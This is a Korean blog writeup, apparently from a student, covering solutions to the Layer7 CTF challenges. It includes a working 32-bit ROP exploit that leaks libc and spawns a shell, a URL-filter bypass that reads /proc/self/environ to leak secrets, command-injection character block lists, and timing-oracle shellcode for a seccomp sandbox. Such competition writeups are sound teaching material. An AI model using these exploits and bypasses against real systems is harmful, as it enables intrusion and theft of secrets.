포너블 Secom 과 Mic Check 못 풀어서 전체 3등 고등부 2등으로 마무리
중 3 때부터 매년 레쎄 씨텦에서 상품 얻어간다.
중3 ssd
고1 게이밍 마우스
고2 왼쪽의 헤드셋
고3은 키보드를 얻게됐다.
Layer7 짱!
1. tea-time (Reversing 6 solves)
역산 짜면 된다.
def decrypt():
res = [0] * 40
cipher = [3250307192, 247655037, 3305444027, 3548992586, 2003171038, 1264307023, 3163410791, 1311205716, 3018127296, 2958048297]
for i in range(5):
v7 = cipher[9 - 2*i]
v8 = cipher[8 - 2*i]
for j in range(32):
v6 = (-1* 0x61C88647 * (32 - j)) & 0xFFffFFff
v7 = v7 - ((0x30FD15AC + (v8 >> 5)) ^ (v6 + v8) ^ (-1*0x51D79F51 + v8 * 16))
v7 &= 0xFFffFFff
v8 = v8 - ((0x275904AC + (v7 >> 5)) ^ (v6 + v7) ^ (0x5723DD4C + v7 * 16))
v8 &= 0xFFffFFff
res[(4-i)*8+4:(4-i)*8+8] = list(struct.pack('<L',v7))
res[(4-i)*8:(4-i)*8+4] = list(struct.pack('<L',v8))
print(bytes(res))
decrypt()
flag : LAYER7{33f2e4d2c33bd374a51521a378f68123}
2. L@y3r7 (Misc 13 solves)
.주어진 png 파일 끝에 zip 파일이 들어있는 것을 확인할 수 있다.
풀어보면 사진과 압축 파일이 있고 또 압축 해제한다.
파일 안에 열리지 않는 png 파일이 있는데 시그니쳐가 잘못 되어있다. 03을 0D 로 바꿔주면 정상적으로 열린다.
flag : LAYER7{Did_y0u_f1nd_m3?}
3. christmasgift (Pwnable 10 solves)
beBadChild 함수에서 BOF 가 터진다. 32bit ROP 짜면 끝
from pwn import remote, p32,u32,ELF,context,log
e = ELF('./christmasgift')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
p = remote('chal.layer7.kr', 8011)
p.sendlineafter(b'\n',b'1')
p.sendlineafter(b'\n',b'4')
f = 0x804881F
pr = 0x080484b9
binsh = 0x804B048
payload = b''
payload += b'a'*0x6c
payload += p32(e.plt['puts'])
payload += p32(pr)
payload += p32(e.got['puts'])
payload += p32(f)
p.sendlineafter(b'chars!!!\n',payload)
p.recvuntil('Are you really a bad child?\n')
leak = u32(p.recv(4))
base = leak - libc.symbols['puts']
system = base + libc.symbols['system']
log.info('%x' % base)
payload = b''
payload += b'a'*0x6c
payload += p32(system)
payload += b'b'*4
payload += p32(binsh)
p.sendlineafter(b'chars!!!\n',payload)
p.interactive()
4. file manager software (Misc 8 solves)
command 에서 특수문자만 사용해서 flag를 읽어야한다.
cat 이름의 파일을 만든 후 * 을 실행하면 cat flag 가 실행된다.
flag : Layer7{Get_your_fl4g_By_St4r_Isnt_it_beautiful}
5. baby requester (Web 7 solves)
환경 변수에 FLAG가 있다. /proc/self/environ 을 읽어서 leak 하는 방법을 떠올려 볼 수 있다.
from flask import Flask, request
import urllib
import urllib.parse
import os, subprocess
app = Flask(__name__)
BANNED_COMMAND_CHAR = ["\"", "\\", "`", "$", "(", "{", "?", ";", "*", "\r", "\t", "\n"]
BANNED_PROTOCOL = ["gopher", "file"]
BANNED_URI_CHAR = ["@", "&", "#", "?", "["]
def filter(url, banned):
for x in banned:
if x in url:
return False
return url
def gen_url(url):
res = ""
if url.scheme and filter(url.scheme.lower(), BANNED_PROTOCOL):
res += url.scheme + '://'
if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
res += url.netloc
return res+url.path
@app.route("/")
def index():
return "Hello, world!!<br><form action='/request' method=POST><input type=text name=url placeholder='ex: http://www.google.com'></input><br><input type=submit value='submit' name='submit'></input></form>"
@app.route("/request", methods=["POST"])
def curl():
url = filter(request.form["url"], BANNED_COMMAND_CHAR)
filename = os.urandom(16).hex()
if url:
curl_url = gen_url(urllib.parse.urlparse(url))
print(curl_url)
curl_res = subprocess.Popen('curl -X GET --max-time 1 -s --show-error "{0}" -o /tmp/{1}.txt'.format(curl_url, filename), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
err = curl_res.communicate()[1]
if err:
return err
return "Success your file is /tmp/{}.txt".format(filename)
return "Plz input url"
@app.route("/view")
def view():
try:
filename = request.args.get("filename")
fp = open("/tmp/" + filename.replace("/", "").replace("\\", ""), "r")
res = fp.read()
fp.close()
return res
except FileNotFoundError:
return "No such file or directory..."
app.run("0.0.0.0", 9999)
def gen_url(url):
res = ""
if url.scheme and filter(url.scheme.lower(), BANNED_PROTOCOL):
res += url.scheme + '://'
if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
res += url.netloc
return res+url.path
위 함수에서 두 if 문을 건너뛴다면 url.path 만 더해 return 하게 된다.
와 같이 하면 첫 if 문은 filter 함수에 걸려서 건너 뛰고, 두 번째 if 문은 netloc이 없어서 건너뛴다.
결국 path만 url 에 추가하면서 file:// 을 추가할 수 있다.
//http://chal.layer7.kr:8001/view?filename=246ffd7980bca610477342ff220db964.txt
HOSTNAME=8ce6dc4aa80cPYTHON_PIP_VERSION=22.3.1HOME=/rootGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DWERKZEUG_SERVER_FD=3PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66030fa03382b4914d4c4d0896961a0bdeeeb274/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.10.9PYTHON_SETUPTOOLS_VERSION=65.5.0PWD=/appPYTHON_GET_PIP_SHA256=1e501cf004eac1b7eb1f97266d28f995ae835d30250bec7f8850562703067dc6FLAG=LAYER7{90c76b22988a1dba11c1fdb15d6b5a50}
flag : LAYER7{90c76b22988a1dba11c1fdb15d6b5a50}
6. child requester (Web 6 solves)
baby requester 의 언인텐 솔브로 인해 나온 문제다.
def gen_url(url):
res = ""
if url.scheme:
if filter(url.scheme.lower(), BANNED_PROTOCOL) == False:
return "Don't allow this protocol"
res += url.scheme + '://'
if url.netloc and filter(url.netloc, BANNED_URI_CHAR):
res += url.netloc
return res+url.path
gen_url 함수가 수정되었는데, 첫 if문에서 filter에 걸리면 막히게끔 수정되었다.
이제 해결해야할 문제는 첫 if 문을 건너뛰고 netloc과 path를 이용해 file:/ 을 구성해야하는 건데, urlparse docs를 읽다가 다음을 발견했다.
딱 scheme이 '' 이고, netloc와 path를 이용할 수 있는 것이 적합해보였다.
최종적인 url 은 file:/~~ 이 되어 leak 할 수 있다.
flag : Layer7{6bd0fd72985cd5efa65e7a1ac8f37dad}
7. Fukuro (Crypto 8 solves)
Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er 문자열이 주어진다.
잘 보면 LAYER7{ 까지 문자열에 모두 존재한다. 그리고 순서는 규칙이 있는 것 같아보인다.
처럼 오른쪽 L 부터 A Y E R 7 { 까지 가는 게 빙빙도는 느낌. 간단하게 코드짜서 출력해보면 플래그가 나온다.
a = "Y{'034wr0h?AE7Dntyuh4_nolcysmw3e}LRo__r___er"
k = [a.index('L'),a.index('A'),a.index('Y'),a.index('E')]
for i in range(len(a)):
print(a[k[i%4]+(2*(i//4) if i%4 in [1,3] else i//4)],end='')
#LAYER7{Don't_y0u_h34r_4n_owl_cry_s0mewh3re?}
flag : LAYER7{Don't_y0u_h34r_4n_owl_cry_s0mewh3re?}
Not Solved - Secom (Pwnable, 1 solve)
seccomp-tools 로 확인해보면 execve, open, read syscall 만을 ALLOW 한다. whitelist seccomp 문제인데,
출력이 허용 안된 seccomp 문제를 검색하다가 DEFCON 2017 - mute 문제를 알게되었고, blind sql injection 마냥 flag를 open, read 한 후 어셈으로 한글자 비교해서 다르면 무한루프, 같으면 exit syscall 해서 바로 종료(seccomp filter) 하게 만들어 그 시간 차이로 flag를 구하는 방식이었다.
첫 syscall 은 open("flag"), 두 번째는 read(3,rsp,100), 8 byte read 후 shift 하여 1byte cmp, 다르면 syscall 같으면 무한루프 빠지게 했다. 이후 recvlinet(timeout=~~) 을 통해 기다리다가 syscall로 인해 연결이 끊기면 wrong, 안 끊기면 correct라 생각할 수 있다.
코드는 mute writeup 을 참고해서 짰다.
from pwn import remote,context,process,log
import string
import time
def bf(c,l):
log.info(f'flag[{l}] is {c} ?')
p = process('./secom')
payload2 = bytes([104, 102, 108, 97, 103, 72, 137, 231, 49, 210, 49, 246, 106, 2, 88, 15, 5, 49, 192, 106, 3, 95, 106, 100, 90, 72, 137, 230, 15, 5])
payload2 += bytes([0x48, 0xC7, 0xC0, 0x3C, 0x00, 0x00, 0x00]) # mov rax, 60 (exit)
if l // 8 == 0:
payload2 += bytes([0x48, 0x8B, 0x1C, 0x24])
else:
payload2 += bytes([0x48, 0x8B, 0x5C, 0x24, l//8 * 8])
payload2 += bytes([0x48, 0xC1, 0xEB, 8 * (l%8)])
payload2 += bytes([0x80, 0xFB,ord(c)])
payload2 += bytes([0x74, 0x02, 0x0F, 0x05, 0xEB, 0x00, 0xEB, 0xFC])
t1 = time.time()
p.sendafter(b'safe',payload2)
p.recvuntil(b'code...')
p.recvuntil(b'\n')
try:
p.recvline(timeout=5)
except:
t2 = time.time()
print(t2 - t1)
p.close()
return False
t2 = time.time()
print(t2 - t1)
p.close()
return True
print(bf('a',0))
exit()
flag = ""
while True:
for c in string.printable:
if bf(c, len(flag)):
flag += c
print('flag : ' + flag)
break
else:
break
위처럼 맞으면 길고, 틀리면 빨리 끊기는 것을 볼 수 있다. timeout 을 1초로 설정하고 flag를 읽어보면
꽤 빨리 구할 수 있다.
로컬에서는 잘 되어서 리모트에서 시도했다.
맞던 아니던 무한루프 빠져서 True 가 나온다. 이리저리 어셈 바꿔가면서 돌려봐도 jmp, je, jne 모두 먹통이다.
seccomp filter 걸리면 Error code 159, 그 외에 139, 무한루프 빠지면 X 인데 점프가 되지 않아 알 수 없다.
그리고 safe 이후로 코드 보내면 이상한 바이트들을 recv하게 되는데 이게 뭔지도 모르겠다.
'CTF Writeup' 카테고리의 다른 글
2022 Iris CTF (0) | 2023.01.08 |
---|---|
Dreamhack Christmas CTF 2022 Writeup (1) | 2022.12.24 |
2022 WhiteHatContest Junior Final Writeup (0) | 2022.11.20 |
2022 Codegate Junior Final (1) | 2022.11.08 |
2022 WACon CTF - babystack 2022 etc (0) | 2022.06.26 |